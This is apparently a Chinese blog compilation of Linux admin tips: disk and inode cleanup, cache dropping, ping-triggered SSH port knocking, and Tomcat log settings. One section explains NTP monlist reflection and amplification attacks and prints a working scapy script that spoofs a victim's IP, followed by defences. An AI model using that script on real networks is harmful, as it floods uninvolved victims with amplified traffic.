今天发现vps敲入crontab -e 居然提示 “Disk quota exceeded” 无法编辑。于是”df -h”查了查发现系统磁盘空间使用100%了。最后定位到是/var/spool/mail/root 这个文件有几个G。于是清理掉,问题解决。如果不知道是哪些文件占了磁盘空间,可以看下面查找大文件方法。
以下内容转自 http://hi.baidu.com/11haiou/item/f3a4878b601e084e840fab17
linux操作系统中,经常会遇到磁盘空间满的问题。遇到这样的问题,先查下是什么文件过大或过多引起的,至于引起这个更深一层的原因,先不探讨。怎么查看大文件所在的路径,linux中有一个命令,叫du,
先贴命令:du -m –max-depth=1或du -h –max-depth=1du:用于统计linux中文件或目录所占磁盘空间的大小du参数######-
m:以M为单位展示查询结果
-h:以K、M、G为单位展示查询结果,提高信息可读性
–max-depth=1:其中,数字“1”是指查询结果中最多显示的目录层数,这里指最多显示一层目录。
然后,利用此命令,逐层(目录)深入,这样就一定会查询到大文件所在目录,但也有可能是目录中文件过多所致。当找到大文件后,若因某些原因,不想对文件进行删除,可以用echo或cat或clear命令清除文件内容:
echo > /var/log/big.log此命令会把/var/log目录中的big.log文件内容清除,而又不删除big.log文件
cat > /var/log/big.log此命令能与“echo > /var/log/big.log”达到相同效果,不过,命令执行后,需要用“Ctrl + d”结束
clear > /var/log/big.log此命令会把big.log文件内容清空,而不删除文件
==========================================================
另一种情况: 也可能是inode用完了.
用# df -i 可以查看。
真的是inode用完了,磁盘没法再写入新的内容了,这个是某些临时的小文件太多了,把inode用完了,把它删掉就行了。
# find /var/spool/clientmqueue -type f -print -exec rm -f {} \;
这个命令中 /var/spool/clientmqueue 是要删除的文件所在的目录 -type f这个参数限定find只查找普通文件(即不是管道文件,不是块文件,不是链接文件,不是目录等),防止误删除系统文件。
原因分析:系统中有用户开启了cron,而cron中执行的程序有输出内容,输出内容会以邮件形式发给cron的用户,而sendmail没有启动所以就产生了这些文件;
Centos 内存占满 释放内存
大家经常使用centos系统是不是感觉经常使用top看到内存在使用一段时间后会越来越大,我也一样,今天用 free -m 查看,发现内存跑满了。
top后按下shift+m,就是按内存占用百分比排序的程序,发现排在第一的进程,才占用0.9%,那是什么占用的呢?谷歌了一下,据说是centos为了提高效率,把部分使用过的文件缓存到了内存里。如果是这样的话,我又不需要这样的文件性能,那就可以释放。如下两个命令就可以:
1
2
| sync
echo 3 > /proc/sys/vm/drop_caches |
linux服务器,我们一般是通过ssh通道远程管理,这就需要我们开启ssh端口,如22。但开启端口有被暴力破解的风险,你会说可以设置复杂的密码或使用证书避免。就算破解不了密码,但openssh也可能会有漏洞,你会说可以更改ssh端口,但还是有可能被扫描出来。还有一种选择,我们可以只允许指定IP访问ssh,通过vpn登录管理服务器,但局限很明显,万一紧急情况vpn登录不上去了怎么办。(有条件的我们可以多设置几个指定ip访问,保险些。也推荐大家用这个方法,对我们做数据中心服务器提供商多设置几个ip允许访问当然没有什么问题,因为资源多。)资源少的可以有其他办法吗?答案是肯定的。
下面给出一种个人觉得比较满意的解决方案,即使用iptables的recent模块,通过密令临时开启ssh端口。当然,密令需要保管好,防止外泄。(其实这种办法个人来讲,并不是非常推荐。因为人长时间不连服务器容易健忘密令。哈)
1、iptables规则设定
1
2
3
4
| #指定78字节的icmp数据包(包含IP头部20字节,ICMP头部8字节)通过被加入openssh列表。
iptables -A INPUT -p icmp --icmp-type 8 -m length --length 78 -m recent --set --name sshopen --rsource -j ACCEPT
#检查openssh列表是否存在你的来源IP,如果存在,即从第一次使用密令开始15秒钟内开启ssh端口22,超过15秒端口自动关闭,不再允许新连接,已连接的不会断开。
iptables -A INPUT -p tcp --dport 22 --syn -m recent --rcheck --seconds 15 --name sshopen --rsource -j ACCEPT |
2、临时开启ssh端口密令
1
2
| linux下:ping -s 50 host
windows下:ping -l 50 host |
3、示例一个目前服务器上使用的iptables规则
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 443 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 123 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -m length --length 50 -m recent --set --name sshopen --rsource -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 --syn -m recent --rcheck --seconds 15 --name sshopen --rsource -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT
-A OUTPUT -p icmp -m icmp --icmp-type 11 -j ACCEPT |
最近一段时间 DDoS 攻击事件让基于 NTP 的 DDoS 攻击变得很火热。
1.什么是 NTP
NTP 是网络时间协议(Network Time Protocol)的简称,干嘛用的呢?就是通过网络协议使计算机之前的时间同步化。
2.NTP 反射和放大攻击
那什么是 NTP 反射和放大攻击呢?如果听过 DNS 反射和放大攻击的话应该就会对这个比较容易理解了,协议不同,效果一样。
我们先来说说放射和放大攻击:
无论是基于 DNS 还是基于 NTP,其最终都是基于 UDP 协议的。在 UDP 协议中正常情况下客户端发送请求包到服务端,服务端返回响应包到客户端,但是 UDP 协议是面向无连接的,所以客户端发送请求包的源 IP 很容易进行伪造,当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。
放大攻击呢就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包,这样就达到了四两拨千斤的效果。
那我们接着来看什么是 NTP 的反射和放大攻击,NTP 包含一个 monlist 功能,也被成为 MON_GETLIST,主要用于监控 NTP 服务器,NTP 服务器响应 monlist 后就会返回与 NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。
我们可以通过 ntpdc 命令向一个 NTP 服务器发送 monlist 以及结合抓包来看下实际的效果。
vps12com@test ~$ ntpdc -n -c monlist x.x.x.x | wc -l
602
在上面的命令行中我们可以看到一次含有 monlist 的请求收到 602 行数据,除去头两行是无效数据外,正好是 600 个客户端 IP 列表,并且从上面图中的 wireshark 中我们也看到显示有 101 个 NTP 协议的包,除去一个请求包,正好是 100 个响应包。
从上图中我们可以看到请求包的大小为 234 字节,每个响应包为 482 字节,如果单纯按照这个数据我们可以计算出放大的倍数是:482*100/234 = 206 倍。其实如果通过编写攻击脚本,请求包会更小,这个倍数值会更大,这样算起来是不是蛮屌的。
我们通过 scapy 实现一个简单的攻击脚本,代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| #!/usr/bin/env python
# author: vps12.com
import sys
from scapy.all import *
def attack(target, ntp_server):
send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))
if __name__ == "__main__":
if len(sys.argv) != 3:
sys.exit(1)
target = sys.argv[1]
ntp_server_file = sys.argv[2]
for ntp_server in open(ntp_server_file, "r"):
ntp_server = ntp_server.strip()
if ntp_server != "":
attack(target, ntp_server) |
如何防御
我们可以分为两种情况进行防御
一、加固 NTP 服务
1. 把 NTP 服务器升级到 4.2.7p26及以上。
2. 关闭现在 NTP 服务的 monlist 功能,在ntp.conf配置文件中增加`disable monitor`选项
3. 在网络出口封禁 UDP 123 端口
二、防御 NTP 反射和放大攻击
1. 由于这种攻击的特征比较明显,所以可以通过网络层或者借助运营商实施 ACL 来防御
2. 使用防 DDoS 设备进行清洗
一般在部署Tomcat后,运行久了,catalina.out文件会越来越大,对系统的稳定造成了一定的影响。
windows下:
1.打开Tomcat的“Configure Tomcat”
2.在选项卡“Logging”中,清空“Redirect Stdout”下面的文本框,该文本框中的默认值为“auto”,正是因为这个auto,导致了stdout.log暴增。
linux系统下:
可通过修改conf/logging.properties日志配置文件来屏蔽掉这部分的日志信息。
1catalina.org.apache.juli.FileHandler.level = WARNING
1catalina.org.apache.juli.FileHandler.directory = ${catalina.base}/logs
1catalina.org.apache.juli.FileHandler.prefix = catalina.
将level级别设置成WARNING就可以大量减少日志的输出,当然也可以设置成OFF,直接禁用掉。
一般日志的级别有:
SEVERE (highest value) > WARNING > INFO > CONFIG > FINE > FINER > FINEST (lowest value)
其他参考文章:
Tomcat自带log的配置
tomcat每次启动时,自动在logs目录下生产以下日志文件,且每天都会生成对应日期的一个文件,造成日志文件众多:
localhost.2012-07-05.txt
catalina.2012-07-05.txt
manager.2012-07-05.txt
host-manager.2012-07-05.txt
目的
Tomcat以上日志都输出到同一个文件中。
修改步骤
打开Tomcat目录conf\logging.properties,修改如下,所有日志输出到tomcat开头的文件中
1catalina.org.apache.juli.FileHandler.level = FINE
1catalina.org.apache.juli.FileHandler.directory = ${catalina.base}/logs
# 1catalina.org.apache.juli.FileHandler.prefix = catalina.
1catalina.org.apache.juli.FileHandler.prefix = tomcat.
2localhost.org.apache.juli.FileHandler.level = FINE
2localhost.org.apache.juli.FileHandler.directory = ${catalina.base}/logs
# 2localhost.org.apache.juli.FileHandler.prefix = localhost.
2localhost.org.apache.juli.FileHandler.prefix = tomcat.
3manager.org.apache.juli.FileHandler.level = FINE
3manager.org.apache.juli.FileHandler.directory = ${catalina.base}/logs
# 3manager.org.apache.juli.FileHandler.prefix = manager.
3manager.org.apache.juli.FileHandler.prefix = tomcat.
4host-manager.org.apache.juli.FileHandler.level = FINE
4host-manager.org.apache.juli.FileHandler.directory = ${catalina.base}/logs
# 4host-manager.org.apache.juli.FileHandler.prefix = host-manager.
4host-manager.org.apache.juli.FileHandler.prefix = tomcat.
Tomcat日志总结
1 Tomcat 日志信息分为两类 :
一是运行中的日志,它主要记录运行的一些信息,尤其是一些异常错误日志信息 。
二是访问日志信息,它记录的访问的时间,IP ,访问的资料等相关信息。
2 访问日志的配置
2.1 默认 tomcat 不记录访问日志,如下方法可以使 tomcat 记录访问日志
编辑 ${catalina}/conf/server.xml 文件. 注 :${catalina} 是 tomcat 的安装目录
把以下的注释 () 去掉即可。